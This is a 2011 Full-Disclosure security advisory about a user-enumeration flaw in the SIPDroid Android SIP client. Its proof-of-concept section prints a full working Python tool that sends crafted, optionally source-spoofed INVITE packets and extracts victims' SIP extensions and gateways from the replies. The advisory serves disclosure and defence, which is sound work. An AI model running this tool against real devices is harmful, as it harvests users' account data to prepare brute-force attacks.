=====[Tempest Security Intelligence - Advisory #01/2011] ======================================================================================================================== User enumeration in SIPDroid Agent ---------------------------------- Author: Anibal Vaz Marques de Aguiar < anibal.aguiar *SPAM* tempest.com.br > =====[Table of Contents] ======================================================================================================================== 1. Overview 2. Detailed description 3. Other contexts & Solutions 4. Concept Proof & Tool 5. Timeline 6. Thanks 7. References =====[Overview] ======================================================================================================================== * Systems affected: SIPDroid 1.6.1 beta, 2.0.1 beta, 2.2 beta (running in Android 2.1 - official Motorola release) (other versions may be affected) * Release date: 03 May 2011 * Impact: This vulnerability may allow information leak, especifically the SIP "extension" and the VoIP gateway in use by the SIPDroid Agent/Client. The Sipdroid Open Source Project[1] presents SIPDroid as a functional (in development) SIP agent/client for Android systems. SIPDroid is known as the most popular SIP client on Android market[2]. We noted is possible to leak sensitive information due the way SIPDroid responds to INVITE packets, specifically on the SDP portion of the "Ringing" messages, after a successful INVITE. It seems the main problem here is the way that SIPDroid deals with the ORIGIN field of the SDP, when it informs the extension/login and the address where the softphone registers itself. The SDP Specification as described by RFC 4566[3] states the ORIGIN field syntax as follows: "o=<username> <session id> <version> <network type> <address type> <address>" where the username portion of the ORIGIN field is defined as follows: "<username> is the user's login on the originating host, or it is "-" if the originating host does not support the concept of user IDs. The <username> MUST NOT contain spaces." =====[Detailed description] ======================================================================================================================== SIPDroid sends, specially in the "Ringing" response (or even in "200 OK" response), specifically in the "ORIGIN" SDP portion field, the extension (user) and the defined VoIP gateway in users's profile. A tipical "Ringing" response from SIPDroid is as follows: ------------------------------------------------------------------------------------------------------ SIP/2.0 180 Ringing Via: SIP/2.0/UDP XXX.XXX.XXX.XXX:5060;branch=z9hG4bK2987630636;rport=5060 To: sip:XXX.XXX.XXX.XXX;tag=d49a182ceb609de8 From: XXX.XXX.XXX.XXX;tag=as1386001 Call-ID: 581400284@XXX.XXX.XXX.XXX CSeq: 1 INVITE Server: Sipdroid/1.6.1 beta/A853 Content-Length: 252 Content-Type: application/sdp v=0 o=abc@1.1.1.1 0 0 IN IP4 XXX.XXX.XXX.XXX s=Session SIP/SDP c=IN IP4 XXX.XXX.XXX.XXX t=0 0 m=audio 21000 RTP/AVP 3 101 a=rtpmap:3 GSM/8000 a=rtpmap:101 telephone-event/8000 a=fmtp:101 0-15 m=video 21070 RTP/AVP 103 a=rtpmap:103 h263-1998/90000 ------------------------------------------------------------------------------------------------------ Note that the "ORIGIN" field ("o=") in the SDP portion received, the username portion is 'extension@VoIP Gateway'. That VoIP gateway, in this case, is not a real one so the agent does not need to be registered in the VoIP PBX/gateway to this issue occurs. This problem also happens on "200 OK" response to the INVITE solicitation, where the problem seems to be less critical considering that depends on the user accepts the call, to this message (the 200 OK and SDP portion as described) be sent to a presumed attacker. =====[Other contexts & Solutions] ======================================================================================================================== A well positioned attacker could take advantage of this issue (sensitive information for free) and make use of the extensions (users) data for future brute force attacks, for example. It seems sending the ORIGIN field as the RFC 4566 states this can address this specific issue, as other SIP clients do. =====[Concept Proof Tool] ======================================================================================================================== Here a tool, SipVicious[4] based, to disclosure the sensitive information as shown: *Warning: on copy and paste take care of code indentation* -----[myhelper.py]------------------------------------------------------------------------------------------------------ #!/usr/bin/env python # Adapted from SipVicious by Anibal Aguiar - anibal.aguiar *SPAM* tempest.com.br # # This code is only for security researches/teaching purposes,use at your own risk! import sys import random def printmsg(msg, color): OKGREEN = '\033[92m' OKBLUE = '\033[96m' ENDC = '\033[0m' WARN = '\033[91m' if color is "Blue": return OKBLUE + msg + ENDC elif color is "Green": return OKGREEN + msg + ENDC elif color is "WARNING": return WARN + msg + ENDC def makeRequest(method,dspname,toaddr, dsthost,port,callid,srchost='', branchunique=None,localtag=None, extension=None,body='',useragent=None, cseq=1,auth=None,contact='<sip:123@1.1.1.1>', accept='application/sdp',contentlength=None, localport=5060,contenttype=None): if extension is None: uri = 'sip:%s' % dsthost else: uri = 'sip:%s@%s' % (extension,dsthost) if branchunique is None: branchunique = '%s' % random.getrandbits(32) headers = dict() finalheaders = dict() superheaders = dict() superheaders['Via'] = 'SIP/2.0/UDP %s:%s;branch=z9hG4bK%s;rport' % (srchost,localport,branchunique) headers['Max-Forwards'] = 70 headers['To'] = uri headers['From'] = "\"%s\"" % dspname if useragent is None: headers['User-Agent'] = 'friendly-scanner' headers['From'] += ';tag=as%s' % localtag headers['Call-ID'] = "%s@%s" % (callid,srchost) if contact is not None: headers['Contact'] = contact headers['CSeq'] = '%s %s' % (cseq,method) headers['Max-Forwards'] = 70 headers['Accept'] = accept if contentlength is None: headers['Content-Length'] = len(body) else: headers['Content-Length'] = contentlength if contenttype is None and len(body) > 0: contenttype = 'application/sdp' if contenttype is not None: headers['Content-Type'] = contenttype r = '%s %s SIP/2.0\r\n' % (method,uri) for h in superheaders.iteritems(): r += '%s: %s\r\n' % h for h in headers.iteritems(): r += '%s: %s\r\n' % h for h in finalheaders.iteritems(): r += '%s: %s\r\n' % h r += '\r\n' r += body return r, branchunique ----[SIPDroid-Extension_Enum.py]---------------------------------------------------------------------------------------- #!/usr/bin/env python # -*- coding: utf-8 -*- # Author: Anibal Aguiar - anibal.aguiar *SPAM* tempest.com.br # # Dependences: # # optparse - The optparse library can be installed using the linux repository # of your distro. # # myHelper -- myHelper.py should be placed at the same diretory of SIPDroid-Extension_Enum.py # # This software is based on some functions of sipvicious-0.2.6. # # This code is only for security researches/teaching purposes,use at your own risk! # import sys import random import re from optparse import OptionParser from socket import * from myhelper import * parse = OptionParser() parse.add_option("-i", "--ip", dest="ip", help="Target IP range (CIDR or unique IP). (MANDATORY)") parse.add_option("-s", "--source", dest="source", help="Source IP number. (MANDATORY)") parse.add_option("-f", "--srcfake", dest="srcfake", help="Source IP number (fake).") parse.add_option("-p", "--dstport", dest="dstport", default=5060, help="Destine port number (MAMDATORY due to SIPDroid Random port). (default 5060)") parse.add_option("-e", "--extension", dest="exten", default=None, help="Destine extension. (default None)") parse.add_option("-t", "--tag", dest="tag", default=None, help="Call TAG. (default random)") parse.add_option("-v", "--verbose", action="store_true", dest="debug", default="False", help="Verbose mode - print pakets sent and received. (default False)") (options, arg) = parse.parse_args() if not options.exten: extension = "SIPDROID" else: extension = options.exten if not options.srcfake: srcfake = '1.1.1.1' else: srcfake = options.srcfake dstport = int(options.dstport) if not options.ip or not options.source: print printmsg("Sintaxe erro. Try %s --help" % sys.argv[0], "WARNING") sys.exit(1) else: dsthost = options.ip fromhost = options.source if options.tag is None: tag = random.getrandbits(22) else: tag = options.tag buf = 1024 addr = (dsthost,dstport) cid='%s' % str(random.getrandbits(32)) branch=None srcaddr = (fromhost,5062) # Create socket UDPSock = socket(AF_INET,SOCK_DGRAM) # Binding on 5060 UDPSock.bind(srcaddr) # Send messages method = "INVITE" (header,branch) = makeRequest(method,extension,dsthost,dsthost,dstport,cid,srcfake,branch,tag) if(UDPSock.sendto(header, addr)): sent = True if options.debug is True: print printmsg("Data Sent:", "WARNING") print header print printmsg("INVITE sent to %s!\n" % dsthost, "Green") else: sent = False # Receive messages while sent: try: UDPSock.settimeout(4) data,bindaddr = UDPSock.recvfrom(buf) if options.debug is True: print printmsg("Data Received:", "WARNING") print data if re.search('SIP/2.0 180 Ringing', data): packet = data.split('\n') for packetline in packet: for origin in re.finditer('o\=[a-zA-Z0-9\-]+\@[a-zA-Z0-9.\-]+', packetline): print printmsg("o=<extension>@<server>: %s\n" % origin.group(0), "Blue") method = 'CANCEL' (header, branch) = makeRequest(method,extension,dsthost,dsthost,dstport,cid,srcfake,branch,tag) if options.debug is True: print printmsg("Data Sent:", "WARNING") print header UDPSock.sendto(header, addr) sent = False except Exception as excpt: print excpt print printmsg("OPS... Timeout on receving data or something wrong with socket... take a look at dest. port number too (-p option).", "WARNING") sent = False # Close socket UDPSock.close() =====[Timeline] ======================================================================================================================== After testing SIPDroid 1.6.1 beta and 2.0.1 beta as well, we contacted the SIPDroid project. They answered "(�) This is no security risk because Sipdroid talks to it's SIP server only. It does not answer call requests from anywhere else (�)". We insisted the problem exists, we built and sent the (attached) tool for the concept proof sake. After that, no more answers from SIPDroid Project and they released more one still vulnerable version (2.2 beta). =====[Thanks to] ======================================================================================================================== - Tempest Security Intelligence[5] - Tempest Coadmin Team - Evandro Curvelo Hora < evandro *SPAM* tempest.com.br > - Renato Bezerra < renato *SPAM* tempest.com.br > - Diego Buarque < diego.buarque *SPAM* tempest.com.br > - Heyder Andrade < heyder.andrade *SPAM* tempest.com.br > - Sandro Gauci & Sipvicious supporters team < http://code.google.com/p/sipvicious/ > =====[References] ======================================================================================================================== [1] http://www.sipdroid.org [2] https://market.android.com/details?id=org.sipdroid.sipua [3] http://tools.ietf.org/html/rfc4566 [4] http://code.google.com/p/sipvicious/ [5] http://www.tempest.com.br ======================================================================================================================== _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/